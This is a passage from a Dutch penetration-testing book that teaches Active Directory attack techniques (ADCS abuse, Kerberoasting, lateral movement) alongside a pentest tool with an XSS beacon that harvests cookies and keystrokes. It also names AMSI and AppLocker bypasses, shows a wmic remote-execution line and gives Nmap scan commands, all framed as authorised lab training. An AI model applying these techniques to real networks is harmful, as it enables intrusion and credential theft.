Active Directory Certificate Services (ADCS) – De interne Certificate Authority die veel organisaties draaien voor het uitgeven van certificaten. ADCS is relatief recent ontdekt als een enorm aanvalsoppervlak. De ESC-kwetsbaarheden (ESC1 tot en met ESC8+) maken het mogelijk om certificaten aan te vragen waarmee je je kunt voordoen als elke gebruiker in het domein, inclusief Domain Admins. We behandelen ADCS uitgebreid in hoofdstuk 7.

IB Tip: De Command Library bevat commando’s voor ADCS-aanvallen onder het adcs_-prefix: adcs_enum voor enumeratie, en adcs_esc1, adcs_esc3, adcs_esc6 voor specifieke escalatie-paden.

Service Principal Names (SPNs) – Identifiers die een service koppelen aan een account in AD. SPNs zijn de sleutel tot Kerberoasting: als een account een SPN heeft, kun je een service ticket aanvragen voor dat account, en dat ticket offline kraken om het wachtwoord te achterhalen. Het mooie – vanuit het perspectief van de aanvaller – is dat dit volledig legitiem verkeer is. Je vraagt gewoon een ticket aan. Dat mag. En vervolgens kraak je het offline, waar niemand het ziet.

Subnetting en segmentatie

Netwerksegmentatie is het principe dat je een netwerk opdeelt in kleinere, geisoleerde segmenten. Het doel is simpel: als een aanvaller een systeem compromitteert in segment A, kan hij niet automatisch bij segment B.

In de praktijk werkt segmentatie via VLANs (Virtual LANs) en subnets. Een subnet wordt gedefinieerd door een IP-bereik en een subnetmasker:

10.0.1.0/24  -- Kantoornetwerk (254 hosts)
10.0.2.0/24  -- Servers (254 hosts)
10.0.3.0/24  -- Management (254 hosts)
10.0.0.0/29  -- DMZ (6 hosts)

De /24 notatie (CIDR) betekent dat de eerste 24 bits van het adres het netwerkgedeelte vormen, en de laatste 8 bits het hostgedeelte. Dat geeft 254 bruikbare adressen (256 minus het netwerkadres en het broadcast-adres).

Segmentatie werkt alleen als er regels zijn die verkeer tussen segmenten beperken. Een firewall of ACL (Access Control List) die bepaalt: het kantoornetwerk mag naar de webserver op poort 443, maar niet naar de databaseserver op poort 1433. In de praktijk zien we regelmatig netwerken waar alle VLANs vrijelijk met elkaar kunnen communiceren. Dan heb je geen segmentatie. Dan heb je VLANs als decoratie.

De term daarvoor, onder penetratiesters, is “flat network”. En een flat network is een feest voor een aanvaller.

Een goed gesegmenteerd netwerk ziet er zo uit:

Internet ─── [Firewall] ─── DMZ (webservers, mail)
                  │
                  ├── Kantoornetwerk (werkstations)
                  │
                  ├── Servernetwerk (applicaties, databases)
                  │
                  ├── Management (beheertools, jump hosts)
                  │
                  └── OT/IoT (productie, printers, camera's)

Tussen elke zone staan firewall-regels die alleen het strikt noodzakelijke verkeer toelaten. Het kantoornetwerk mag naar de webserver op poort 443, maar niet naar de databaseserver op poort 1433. Het management-netwerk mag overal naartoe, maar alleen via specifieke jump hosts met multifactor-authenticatie. OT is volledig geisoleerd en mag alleen uitgaand verkeer naar een update-server.

Dat is de theorie. De praktijk is – laten we zeggen – minder gestructureerd.

Het MITRE ATT&CK Framework

Wat het is

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is een kennisbank van aanvalstechnieken, gebaseerd op observaties uit de echte wereld. Het is geen checklist, geen scanner, en geen tool. Het is een taal – een gedeeld vocabulaire waarmee aanvallers en verdedigers over dezelfde dingen kunnen praten zonder langs elkaar heen te praten.

ATT&CK organiseert aanvalstechnieken in een matrix met Tactics (het waarom – het doel van de aanvaller) als kolommen en Techniques (het hoe – de specifieke methode) als rijen.

Tactics, Techniques, Procedures

De Tactics in ATT&CK voor Enterprise zijn:

Elke Technique heeft een uniek ID (bijvoorbeeld T1558 voor “Steal or Forge Kerberos Tickets”) en kan Sub-Techniques bevatten (T1558.003 voor “Kerberoasting”). Procedures zijn de specifieke implementaties – het daadwerkelijke commando dat een aanvaller of pentester uitvoert.

Een voorbeeld: de tactic “Credential Access” (TA0006) bevat onder andere de technique “OS Credential Dumping” (T1003), die sub-techniques heeft voor LSASS Memory (T1003.001), SAM (T1003.002), NTDS (T1003.003), en DCSync (T1003.006). Elk van deze sub-techniques heeft in de ATT&CK-documentatie een beschrijving, voorbeelden van tools die het implementeren, detectiemethoden, en mitigaties.

Het mooie van ATT&CK is dat het zowel voor aanvallers als verdedigers werkt. Een penetratietester gebruikt het om te plannen welke technieken hij gaat testen. Een SOC-analist gebruikt het om te begrijpen wat er gebeurt wanneer een alert afgaat. Een CISO gebruikt het om te communiceren welke dreigingen relevant zijn voor de organisatie. Het is een gedeelde taal, en gedeelde talen zijn zeldzaam en waardevol in een vakgebied dat vergeven is van jargon.

Mapping naar pentest-fases

ATT&CK is niet ontworpen als pentest-methodologie, maar het mapt er uitstekend op. Wanneer je in IB een finding vastlegt, kun je de MITRE ATT&CK technique ID toevoegen. Dit geeft opdrachtgevers een universeel referentiepunt en maakt het mogelijk om bevindingen te koppelen aan bekende dreigingsactoren.

De mapping werkt in twee richtingen. Van pentest naar ATT&CK: je hebt Kerberoasting uitgevoerd, dus je mapt naar T1558.003. Van ATT&CK naar pentest: de opdrachtgever wil weten of ze kwetsbaar zijn voor technieken die APT29 gebruikt, dus je zoekt de relevante techniques op in de ATT&CK-matrix en test ze.

De IB Command Library is bewust georganiseerd langs ATT&CK-lijnen. De kerb_-commando’s mappen naar Credential Access (TA0006), de lateral_-commando’s naar Lateral Movement (TA0008), de persist_-commando’s naar Persistence (TA0003). Dit maakt het eenvoudig om van een ATT&CK technique naar het bijbehorende IB-commando te navigeren.

IB Tip: De finding templates in IB bevatten een MITRE-veld. Wanneer je een bevinding aanmaakt, voeg je het technique ID toe (bijvoorbeeld T1558.003 voor Kerberoasting). Dit wordt meegenomen in de rapportgeneratie en de JSON-export, waardoor je bevindingen direct koppelbaar zijn aan de ATT&CK-matrix.

De IB Workflow

Incompetent Bastard is ontworpen als je operationele hub tijdens een pentest. Laten we de belangrijkste componenten doorlopen.

Het dashboard

Wanneer je IB opstart en navigeert naar http://127.0.0.1:5000/dashboard, zie je het hoofddashboard. Dit is je commandocentrum. Van hieruit heb je toegang tot:

• Hooked Clients – Overzicht van browsers die verbonden zijn via het XSS-beacon (/x.js)
• Cookies / Keylogger / LocalStorage – Data verzameld van gehoekte clients
• Commands – De volledige Command Library
• Findings – Bevindingen vastleggen en beheren
• Notes – Aantekeningen die optioneel in het rapport worden opgenomen
• Nmap results – Resultaten van uitgevoerde scans

Het dashboard vereist lokale toegang (127.0.0.1 of ::1) of een geldig DASHBOARD_ACCESS_TOKEN. Dit is bewust – je wilt niet dat een willekeurige bezoeker je pentest-dashboard kan bekijken.

# Uit meuk/flask/security.py -- de toegangscontrole is simpel maar effectief
_LOCAL_IPS = {"127.0.0.1", "::1"}

def dashboard_access_allowed():
    if is_local_request():
        return True
    token = current_app.config.get("DASHBOARD_ACCESS_TOKEN")
    if not token:
        return False
    supplied = request.headers.get("X-Dashboard-Token")
    return supplied == token

De Task Runner

De Task Runner (/dashboard/tasks) is een van de krachtigste onderdelen van IB. Het stelt je in staat om veelgebruikte taken uit te voeren vanuit de browser, met realtime output en zonder dat je een apart terminalvenster nodig hebt.

Het sleutelwoord hier is allowlist. De Task Runner voert uitsluitend voorgedefinieerde commando’s uit. Er is geen invoerveld waar je willekeurig shell-commando’s kunt typen. Elk commando is vastgelegd in een _TASKS-dictionary met expliciete argumentvalidatie via regex-patronen.

De beschikbare taakgroepen:

Elke taak met argumenten valideert die argumenten streng:

# Regex patronen -- alleen veilige tekens toegestaan
_RE_SAFE_NAME = re.compile(r"^[a-zA-Z0-9_\-]+$")
_RE_IP_OR_IFACE = re.compile(r"^[a-zA-Z0-9._:/%\-]+$")
_RE_SUBNET = re.compile(r"^[0-9./]+$")

Path traversal (..) wordt expliciet geblokkeerd. Wachtwoorden worden als environment variabelen doorgegeven, niet als commandoregelargumenten (waar ze in ps aux zichtbaar zouden zijn). En – cruciaal – shell=False in alle subprocess.Popen-aanroepen, wat shell injection onmogelijk maakt.

Het is bijna ironisch: een tool voor penetratiesters die zelf goed beveiligd is. Maar zo hoort het ook.

IB Tip: Start een nmap-scan via de Task Runner: klik op “Network scan (nmap)” in de Recon-groep, vul het interface, de scannaam en het IP-bereik in, en klik op “Run”. De output streamt realtime naar het scherm.

De Command Library

De Command Library is het referentiebrein van IB. Het bevat 194 command files die elk een specifieke techniek documenteren met meerdere methoden, variaties en tips.

De commando’s zijn georganiseerd in categorieen herkenbaar aan hun prefix:

Elk command file bevat kopieerbare commando’s met inline commentaar in het Nederlands. Placeholder-waarden ([host]) worden automatisch vervangen door het actuele IP-adres uit de IB-instellingen.

IB Tip: Gebruik het zoekpaneel op het dashboard om snel door alle 194 commando’s te zoeken. Typ een trefwoord – “kerberos”, “lateral”, “mimikatz” – en de relevante command files verschijnen direct.

Screen Terminal

De Screen Terminal (/dashboard/recordings) geeft je toegang tot actieve screen-sessies. Taken die via de Task Runner in een screen-sessie worden gestart (zoals de engage-taak die OpenVPN en Empire opstart) zijn hier bereikbaar en bestuurbaar.

Screen-sessies zijn bijzonder nuttig voor langlopende taken: een Responder die uren draait en wacht op NTLM-hashes, een sshuttle-tunnel die je netwerktoegang open houdt, of een Empire-listener die wacht op callbacks. Via de Screen Terminal kun je de output volgen zonder dat je een apart terminalvenster open hoeft te houden.

IB Tip: De engage-taak in de Task Runner start automatisch OpenVPN en PowerShell Empire in afzonderlijke screen-sessies. Gebruik de Screen Terminal om de sessies te monitoren en te beheren.

Findings en rapportage

Het Findings Management-systeem (/dashboard/findings) is waar je werk wordt gedocumenteerd. Elke bevinding krijgt:

• Een naam en beschrijving
• Een link naar een finding template (met OWASP Top 10-categorie, CWE, MITRE ATT&CK mapping)
• Een CVSS 4.0 vector en bijbehorende score
• Evidence – screenshots, logbestanden, command output
• Locatie – het getroffen systeem of URL
• Optionele user flag en root flag voor CTF-achtige engagements

IB berekent CVSS 4.0-scores via een ingebouwde calculator die alle elf base metrics valideert. Het resultaat is een score van 0.0 tot 10.0 met een severity-classificatie (None, Low, Medium, High, Critical).

Wanneer je klaar bent, genereert /dashboard/findings/rapport een compleet rapport. IB converteert LaTeX-templates naar HTML en vervolgens naar Markdown via pandoc, met automatische OWASP-categorisering en cross-referenties tussen bevindingen. Het resultaat is een rapport dat direct bruikbaar is voor de opdrachtgever.

IB Tip: Importeer standaard finding templates via de “Seed” functie op de findings-pagina. Dit laadt een volledige set voorgedefinieerde bevindingen met OWASP, CWE en MITRE-mappings, zodat je niet elke finding vanaf nul hoeft op te bouwen.

Pentest-methodologie

De fases

Een penetratietest is geen willekeurige verzameling aanvallen. Het is een gestructureerd proces dat een aanvaller simuleert, stap voor stap, met het doel om de werkelijke risico’s voor een organisatie bloot te leggen. De fases:

1. Scope en voorbereiding

Voordat je ook maar een enkel pakket verstuurt, leg je vast wat je mag testen, wanneer je mag testen, en wat er buiten scope valt. Dit is het document waar we het in het voorwoord over hadden – het verschil tussen een pentest en een misdrijf.

Scope omvat: IP-bereiken, domeinen, systemen, tijdvensters, en – cruciaal – wat je niet mag doen. Productiedatabases benaderen? Denial-of-service? Social engineering? Dit moet allemaal zwart op wit staan.

Een goed scope-document bevat ook een escalatieprocedure: wie bel je als je per ongeluk een productiesysteem platlegt? Wie is je aanspreekpunt bij de klant? Wie heeft de bevoegdheid om de test te stoppen? Dit zijn geen theoretische vragen – dit zijn vragen die je beantwoord wilt hebben voordat het mis gaat, niet erna.

2. Reconnaissance

Informatie verzamelen. Passief (OSINT, DNS records, certificaten) en actief (nmap-scans, service-enumeratie, LDAP-queries). Het doel: een zo compleet mogelijk beeld van het aanvalsoppervlak.

In een netwerkpentest betekent reconnaissance: welke hosts zijn er, welke poorten staan open, welke services draaien erop, welke versies, en – als het een AD-omgeving is – hoe ziet de domeinstructuur eruit.

# Een typische IB Task Runner recon-flow:
# 1. Network scan via nmap
bash scan.sh tun0 engagement-name 10.0.0.0/24

# 2. Zoek specifieke services in de resultaten
bash search.sh engagement-name http
bash search.sh engagement-name 3389

# 3. Kerberos-enumeratie
bash kerberos.sh engagement-name

3. Initial Access

De eerste voet binnen de deur. Dit kan via honderden wegen: een gecompromitteerd wachtwoord, een kwetsbare dienst, een phishing-aanval, een misconfiguratie. In een interne pentest begin je vaak al “binnen” – je hebt fysiek toegang tot het netwerk of een VPN-verbinding, en je begint als een reguliere gebruiker zonder speciale rechten. De vraag is dan niet of je hogere rechten kunt krijgen, maar hoe snel.

In een externe pentest moet je eerst een weg naar binnen vinden. Dat kan via een kwetsbare webapplicatie (zie het zusterboek), een openstaande dienst, een gestolen credential set van een eerdere databreach, of – steeds vaker – via misconfiguraties in cloud-diensten die gekoppeld zijn aan het on-premises AD.

4. Execution

Code uitvoeren op het doelsysteem. PowerShell, cmd, WMI, scheduled tasks – de methode hangt af van wat beschikbaar is en wat niet gedetecteerd wordt. In moderne omgevingen met EDR en AMSI is dit de fase waar je creatief moet worden. De IB Command Library bevat vijf AMSI-bypass-technieken (amsi_bypass_patch, amsi_bypass_reflection, amsi_bypass_context, amsi_bypass_clm, amsi_invisishell) en drie AppLocker-bypasses (applocker_msbuild, applocker_installutil, applocker_mshta) om detectie te ontwijken.

5. Privilege Escalation

Van een gewone gebruiker naar lokale administrator, en vandaar naar Domain Admin. Dit is het pad dat elke netwerkpentest volgt, en het pad dat in de meeste bedrijfsnetwerken korter is dan je zou willen.

Lokale privilege escalation: misconfiguraties in services, unquoted service paths, AlwaysInstallElevated, token impersonation. Domein privilege escalation: Kerberoasting van service accounts, AS-REP roasting, misconfigureerde ACLs, ADCS-misbruik.

6. Lateral Movement

Van het ene systeem naar het andere bewegen. WMI, PSRemoting, DCOM, SMB, RDP – de methoden zijn talrijk. Het doel is om systemen te vinden waar hogere rechten beschikbaar zijn, of waar gevoelige data staat.

# Uit de IB Command Library -- lateral_wmi:
wmic /node:TARGET_IP process call create "powershell -ep bypass ..."

7. Persistence

Toegang behouden, zelfs als het initieel gecompromitteerde account wordt vergrendeld of het wachtwoord wordt gewijzigd. Skeleton keys, Golden Tickets, DSRM backdoors, AdminSDHolder-manipulatie – Active Directory biedt een verbijsterende hoeveelheid persistentie-opties.

Opmerking: in een pentest gebruik je persistence alleen als het binnen de scope valt. Je documenteert de mogelijkheid, maar je laat geen daadwerkelijke backdoors achter.

8. Impact en rapportage

De laatste fase: documenteer wat je hebt gevonden, bereken de risico’s (CVSS 4.0), en schrijf een rapport dat zowel technische details bevat voor de IT-afdeling als een management-samenvatting voor het bestuur. IB’s rapportgeneratie helpt hierbij – het converteert je bevindingen automatisch naar een gestructureerd rapport met OWASP-classificaties, CWE-nummers en MITRE ATT&CK-referenties.

Een goed pentest-rapport is geen opsomming van kwetsbaarheden. Het is een verhaal. Het vertelt de opdrachtgever: “Dit is hoe een aanvaller uw netwerk zou binnendringen, dit is wat hij zou vinden, dit is hoe ver hij zou komen, en dit is wat u kunt doen om het te voorkomen.” De bevindingen zijn het bewijs. Het verhaal is de waarde.

IB Tip: Gebruik de Notes-functie (/dashboard/notes) om je narratief vast te leggen tijdens de pentest. Notes met de vlag rapport=True worden automatisch opgenomen in het gegenereerde rapport, zodat je verhalende context en technische bevindingen naadloos kunt combineren.

Kill chain vs. ATT&CK

De Lockheed Martin Cyber Kill Chain is het oudere model: zeven stappen van Reconnaissance tot Actions on Objectives. Het is lineair en simpel, wat zowel zijn kracht als zijn zwakte is. Het gaat ervan uit dat een aanval een keten is – breek een schakel, en de aanval faalt.

ATT&CK is rijker en realistischer. Het erkent dat aanvallers niet lineair werken. Ze springen tussen fases, herhalen stappen, en gebruiken meerdere technieken tegelijk. ATT&CK is een matrix, geen keten.

Beide modellen zijn nuttig. De Kill Chain voor de grote lijn, ATT&CK voor de details. In dit boek gebruiken we voornamelijk ATT&CK, omdat het beter aansluit bij de manier waarop penetratietesten in de praktijk verlopen.

Er zijn ook andere methodologieen: OSSTMM, PTES, OWASP Testing Guide. Ze hebben elk hun eigen focus en sterke punten. Maar ATT&CK is de de facto standaard geworden in de industrie, en het is het raamwerk dat de meeste opdrachtgevers herkennen en waarderen in een rapport.

Het lab opzetten

Je hebt een lab nodig. Je kunt niet leren netwerken te testen door erover te lezen – je moet het doen. En je doet het niet op het netwerk van je werkgever, je buurman, of een willekeurig bedrijf dat je online vindt. Je doet het in je eigen lab.

Minimale AD-lab

Een bruikbaar Active Directory-lab bestaat uit minimaal vier machines:

Totaal: 8 GB RAM en 160 GB opslag. Dat is niet niets, maar het is haalbaar op een moderne laptop met 16 GB RAM en een SSD. Gebruik VirtualBox, VMware Workstation, of Hyper-V als hypervisor.

DC01 is het hart. Installeer Windows Server, promoveer het tot Domain Controller, creeer een domain (bijvoorbeeld lab.local), en maak gebruikersaccounts en groepen aan. Voeg bewust misconfiguratities toe: een service account met een zwak wachtwoord, een gebruiker met GenericAll op een admin-groep, een SPN op een account met een kraakbaar wachtwoord.

WS01 en WS02 zijn domain-joined werkstations. Log in met verschillende gebruikersaccounts. Sla credentials op. Open sessies. Dit simuleert een echte kantooromgeving waar gebruikers ingelogd zijn en hun tokens rondvliegen.

ATTACK is je Kali of ParrotOS-machine. Hier draait IB, hier draai je je tools, hier begin je je aanval.

Optioneel: een Linux-server. Voeg een Ubuntu- of CentOS-server toe die domain-joined is via SSSD of Samba. Veel bedrijfsnetwerken bevatten Linux-servers die geintegreerd zijn met Active Directory, en de aanvalstechnieken daarvoor – SSH agent hijacking, LD_PRELOAD injection, Ansible credential harvesting – zijn fundamenteel anders dan Windows-aanvallen. De IB Command Library bevat commando’s hiervoor onder het linux_-prefix.

Netwerkconfiguratie: Zet alle machines in hetzelfde virtuele netwerk (host-only of intern netwerk in je hypervisor). Geef DC01 een vast IP-adres (bijvoorbeeld 10.0.0.10) en laat de werkstations hun IP via DHCP van de DC krijgen. De aanvalsmachine krijgt een vast IP in hetzelfde subnet (bijvoorbeeld 10.0.0.100).

Bewuste kwetsbaarheden: Het doel van het lab is om te leren. Een perfect beveiligd lab is nutteloos voor een penetratietester in opleiding. Voeg daarom bewust de volgende misconfiguratites toe:

• Maak een service account (svc_sql) met een SPN en een zwak wachtwoord (Password123!). Dit is je Kerberoast-target.
• Maak een gebruiker met de vlag “Do not require Kerberos preauthentication”. Dit is je AS-REP roast-target.
• Geef een gewone gebruiker GenericAll-rechten op een admin-groep. Dit is je ACL-misbruik-target.
• Installeer ADCS met een kwetsbaar certificaat-template (ESC1). Dit is je ADCS-target.
• Schakel NTLM niet uit. In de echte wereld is het er ook nog.

De aanvalsmachine: Kali of ParrotOS

Kali Linux is de de facto standaard voor penetratietesten. Het komt voorgeinstalleerd met honderden tools – nmap, Metasploit, Impacket, CrackMapExec, BloodHound, en meer. ParrotOS is een alternatief dat lichter is en een minder opvallende desktop heeft (handig als je in een kantoor zit en niet wilt dat iedereen over je schouder meekijkt naar een screaming-red terminal).

Beide distributies zijn geschikt. Dit boek is agnostisch – we noemen tools, niet distributies.

Zorg er wel voor dat de volgende tools geinstalleerd zijn op je aanvalsmachine, naast de standaardtools die met Kali/Parrot worden meegeleverd:

• Impacket – Python-implementaties van Windows-protocollen (SMB, LDAP, Kerberos, WMI). Essentieel voor de meeste AD-aanvallen vanuit Linux.
• BloodHound + SharpHound – Attack path-analyse voor Active Directory. BloodHound is de GUI, SharpHound is de data collector die je op het doelnetwerk uitvoert.
• CrackMapExec (nxc) – Swiss army knife voor netwerk-enumeratie en -exploitatie. SMB, LDAP, WinRM, MSSQL, en meer.
• Certipy – Tool voor ADCS-enumeratie en -exploitatie vanuit Linux.
• Rubeus – Kerberos-aanvallen vanuit Windows (draai je op het gecompromitteerde systeem).
• Mimikatz – Credential extraction vanuit Windows. De klassieker.

IB installatie en configuratie

IB installeren op je aanvalsmachine:

# Clone de repository
git clone <repo-url> incompetentbastard
cd incompetentbastard

# Creeer een virtual environment
python3 -m venv .venv
source .venv/bin/activate

# Installeer dependencies
pip install -r requirements.txt

# Start IB
flask --app app:create_app run --host 127.0.0.1 --port 5000

Na het starten navigeer je naar http://127.0.0.1:5000 in je browser. Als alles goed gaat, zie je een simpele pagina. Navigeer naar http://127.0.0.1:5000/dashboard voor het volledige dashboard met alle panelen.

Als je een foutmelding krijgt: controleer of Python 3.8+ is geinstalleerd, of alle dependencies correct zijn geinstalleerd (let op sh, flask-migrate, flask-sqlalchemy, cvss, en pandoc), en of poort 5000 niet al in gebruik is.

Configuratie via environment variabelen:

Voor een typisch lab-scenario is de standaardconfiguratie voldoende. IB luistert op 127.0.0.1:5000 en accepteert alleen lokale verbindingen. Als je IB op een andere machine wilt benaderen (bijvoorbeeld via een SSH-tunnel), stel dan DASHBOARD_ACCESS_TOKEN in en stuur het token mee in de X-Dashboard-Token header.

IB Tip: Draai flask --app app:create_app run --host 0.0.0.0 --port 5000 alleen als je IB bewust toegankelijk wilt maken voor andere machines. Stel in dat geval altijd een DASHBOARD_ACCESS_TOKEN in. Zonder token is het dashboard alleen toegankelijk vanaf localhost.

Eerste stappen na installatie

1. Stel je IP in – Ga naar het dashboard en configureer je IP-adres (het adres van je aanvalsmachine op het lab-netwerk, bijvoorbeeld http://10.0.0.100). Dit IP wordt gebruikt als placeholder in command files.

2. Verken de Command Library – Klik door de commando’s. Lees ze. Begrijp wat ze doen voordat je ze uitvoert. Een commando kopieren en plakken zonder het te begrijpen is geen pentest – het is Russisch roulette met iemands netwerk.

3. Draai een scan – Gebruik de Task Runner om een nmap-scan uit te voeren op je lab-netwerk. Dit is je eerste reconnaissance-stap en geeft je een overzicht van welke systemen en diensten actief zijn.

4. Maak je eerste finding – Zelfs als je nog niets hebt gevonden, maak een test-finding aan om vertrouwd te raken met het systeem. Vul een CVSS-vector in, voeg evidence toe, en genereer een rapport.

5. Importeer de standaard-findings – Ga naar /dashboard/findings en gebruik de “Seed” functie om de volledige set standaard finding templates te laden. Deze templates bevatten voorgedefinieerde beschrijvingen, OWASP-classificaties, CWE-nummers, MITRE ATT&CK-mappings en aanbevelingen in zowel het Nederlands als het Engels.

6. Test de rapportgeneratie – Maak een paar test-findings aan, link ze aan templates, en genereer een rapport via /dashboard/findings/rapport. Bekijk het resultaat. Begrijp hoe de LaTeX-templates worden omgezet naar Markdown. Als het er niet uitziet zoals je wilt, weet je dat nu – niet op de laatste dag van het engagement wanneer de opdrachtgever het rapport morgen verwacht.

De realiteit van bedrijfsnetwerken

Er is een reden dat penetratietesten bijna altijd succesvol zijn. Het is niet omdat pentesters zo briljant zijn – hoewel we onszelf dat graag vertellen na het derde biertje op een conferentie. Het is omdat bedrijfsnetwerken, collectief en consequent, buitengewoon slecht zijn beveiligd.

Niet door gebrek aan budget. Niet door gebrek aan tools. Maar door gebrek aan begrip.

Een gemiddeld bedrijf koopt een firewall van een half miljoen euro, een SIEM dat niemand leest, een EDR-oplossing die elke maand een nieuwe naam krijgt vanwege weer een overname in de beveiligingsindustrie, en een awareness-training die medewerkers leert om niet op verdachte links te klikken – behalve wanneer die link afkomstig is van de CEO die haast heeft, want dan klik je natuurlijk wel.

En ondertussen heeft het service account voor de SQL-server het wachtwoord Summer2019!, is de Domain Admins-groep gevuld met mensen die er zijn toegevoegd “voor die ene keer” en er nooit meer uit zijn gehaald, en staat er een print-server die sinds 2016 niet meer is gepatcht rustig te wachten op een PrintNightmare-exploit.

Het mooiste is nog de jaarlijkse penetratietest. Elk jaar komt er een team, vindt dezelfde dingen, schrijft hetzelfde rapport, en vertrekt weer. De opdrachtgever leest het rapport, schrikt een beetje, belooft beterschap, en legt het rapport in een la. Volgend jaar komt hetzelfde team, vindt dezelfde dingen – plus een paar nieuwe – en de cyclus herhaalt zich. Het is alsof je elk jaar naar de tandarts gaat, te horen krijgt dat je moet flossen, het niet doet, en dan volgend jaar verbaasd bent dat je weer gaatjes hebt.

Het meest cynische aspect is misschien wel de manier waarop bedrijven reageren op een pentest-rapport. De bevindingen met het label “Critical” worden gefixt. Soms. Als het niet te veel kost en als het niet te veel impact heeft op de gebruikers. De bevindingen met het label “High” worden op een lijst gezet. De bevindingen met het label “Medium” worden gelezen en vervolgens vergeten. En de bevindingen met het label “Low” worden beschouwd als features, niet als bugs.

En dan is er die ene organisatie die zegt: “Maar wij zijn niet interessant voor hackers.” Alsof ransomware-groepen een doelgroepanalyse maken voor ze aanvallen. Alsof er een minimum omzeteis geldt voor cybercriminaliteit. Iedereen die een computer heeft en een netwerk dat draait, is een doelwit. De vraag is niet of je wordt aangevallen. De vraag is of je het merkt.

De tools in dit boek – BloodHound, Rubeus, Mimikatz, Impacket, SharpHound – zijn niet magisch. Ze doen precies wat de documentatie zegt. Ze werken omdat de omgevingen waarin ze worden losgelaten vol zitten met configuratiefouten die daar al jaren zitten, die iedereen kent, en die niemand fixt.

De tools in dit boek zijn niet magisch. Ze doen precies wat de documentatie zegt. Ze werken omdat de omgevingen waarin ze worden losgelaten vol zitten met configuratiefouten die daar al jaren zitten, die iedereen kent, en die niemand fixt.

Dat is de werkelijke les van penetratietesten. Het gaat niet om de aanval. Het gaat om de verdediging die er niet was.

Wat je in dit boek zult leren

Dit boek is opgedeeld in hoofdstukken die ruwweg het pad volgen van een netwerkpenetriatietest:

Elk hoofdstuk bevat theorie, praktijkvoorbeelden, IB-commando’s, en verdedigingsmaatregelen. We eindigen elk hoofdstuk met een referentietabel die alle behandelde technieken samenvat met hun MITRE ATT&CK-referenties en bijbehorende IB-commando’s.

De volgorde van hoofdstukken weerspiegelt het pad dat een aanvaller typisch volgt, maar in de praktijk is dat pad zelden lineair. Je springt terug en vooruit. Je vindt iets in de reconnaissance-fase dat je direct brengt bij lateral movement. Je stuit op een ADCS-misconfiguratie terwijl je eigenlijk bezig was met privilege escalation. Dat is normaal. Dat is hoe penetratietesten werken.

Klaar? Open je terminal. Start IB. En laten we beginnen.

Referentietabel Hoofdstuk 1

Verkenning

“Elke ontdekkingsreiziger begint met een kaart. De goede ontdekkingsreiziger begint met de kaart van iemand anders.”

2.1 De plattegrond lezen

Stel je voor dat je in een onbekende stad aankomt. Je hebt een adres, een vaag idee van de wijk, en verder niets. Je kunt twee dingen doen: blind door straten lopen en hopen dat je iets vindt, of eerst even op een bankje gaan zitten met een plattegrond en uitzoeken waar de deuren zijn, de steegjes, de achteringangen. Verkenning – reconnaissance – is dat bankje. Het is het minst spectaculaire deel van een penetratietest en tegelijkertijd het belangrijkste.

De geschiedenis van poolexpedities leert een ontnuchterende les: de Britse ontdekkingsreizigers die de Zuidpool bereikten, deden dat door eerst jarenlang kaarten te bestuderen, terwijl anderen simpelweg vertrokken en stierven. In de wereld van penetratietesten geldt precies hetzelfde principe. Het verschil tussen een succesvolle test en een verspilde week zit niet in de exploit die je gebruikt, maar in de verkenning die eraan voorafgaat.

En toch – hier komt het cynische deel – behandelen veel organisaties hun netwerk alsof het een openbaar park is. Ze zetten diensten online met de mentaliteit van iemand die de voordeur open laat staan omdat het “zo’n leuke buurt is.” Verkenning is eigenlijk niets meer dan het systematisch documenteren van andermans nalatigheid.

In dit hoofdstuk lopen we door elke stap van de verkenningsfase: van de eerste poortscan met Nmap tot diepgaande service-enumeratie, DNS-verkenning, SMTP-misbruik, SNMP-wandelingen, NFS-shares, passieve OSINT en CMS-scanning. Bij elke stap laten we zien hoe Incompetent Bastard (IB) het proces stroomlijnt.

De twee smaken van verkenning

Verkenning kent twee fundamentele benaderingen:

Passieve verkenning raakt het doelwit niet aan. Je verzamelt informatie uit openbare bronnen: DNS-records, WHOIS-data, certificaat-transparantielogs, LinkedIn-profielen, Google-resultaten. Het doelwit weet niet dat je aan het kijken bent. Dit is legaal, onzichtbaar, en verrassend informatief.

Actieve verkenning raakt het doelwit wel. Poortscans, service-detectie, directory bruteforce – elk packet dat je stuurt laat een spoor achter. Dit is waar je expliciete toestemming voor nodig hebt, gedocumenteerd in je scope-overeenkomst.

De gouden regel: begin altijd passief. Actieve scans genereren verkeer, en verkeer genereert logs. Hoe meer je weet voordat je begint te scannen, hoe gerichter (en dus stiller) je actieve verkenning kan zijn.

2.2 Nmap: de Zwitserse zakmes van verkenning

2.2.1 Waarom Nmap?

Als er een tool is die elke penetratietester kent, is het Nmap. Gordon Lyon schreef het in 1997 – het jaar dat Titanic in de bioscoop draaide – en sindsdien is het uitgegroeid tot het onbetwiste standaardgereedschap voor netwerkverkenning. Het is het equivalent van een stethoscoop voor een arts: je kunt technisch gezien zonder, maar niemand neemt je serieus.

Nmap stuurt packets naar een doelwit en analyseert de antwoorden. Klinkt simpel. Is het ook. Maar de nuance zit in hoe je die packets stuurt, welke packets je stuurt, en wat je doet met de antwoorden.

2.2.2 De SYN scan: snel en stil

De standaard Nmap scan – de SYN scan – is het werkpaard van netwerkverkenning. Hij stuurt een SYN packet naar elke poort, wacht op een SYN-ACK (poort open) of RST (poort dicht), en gaat verder. De TCP handshake wordt nooit voltooid, waardoor de connectie niet in de logbestanden van veel systemen terechtkomt.

Om de SYN scan te begrijpen, helpt het om de TCP three-way handshake te kennen: 1. Client stuurt SYN: “Ik wil verbinden” 2. Server stuurt SYN-ACK: “Ik luister, ga je gang” 3. Client stuurt ACK: “Verbinding bevestigd”

De SYN scan stopt na stap 2. Hij stuurt een RST (reset) in plaats van de ACK. Het resultaat: je weet dat de poort open is, maar de server heeft nooit een volledige verbinding geregistreerd. Het is het digitale equivalent van aanbellen en wegrennen – je weet dat er iemand thuis is, maar ze hebben je gezicht niet gezien.

# Basis SYN scan op de top 1000 poorten
sudo nmap -sS 10.0.0.0/24

# Alle TCP poorten scannen (1-65535)
sudo nmap -sS -p- 10.0.0.5

# Specifieke poorten
sudo nmap -sS -p 21,22,80,443,445,3389 10.0.0.5

# Top 100 poorten met timing template 4 (agressief)
sudo nmap -sS -T4 --top-ports 100 10.0.0.0/24

De -sS flag is technisch gezien optioneel als je als root draait – Nmap gebruikt hem dan standaard. Maar het is goede gewoonte om expliciet te zijn over wat je doet. Een pentester die niet weet welk type scan hij draait, is als een chirurg die niet weet welk scalpel hij vasthoudt.

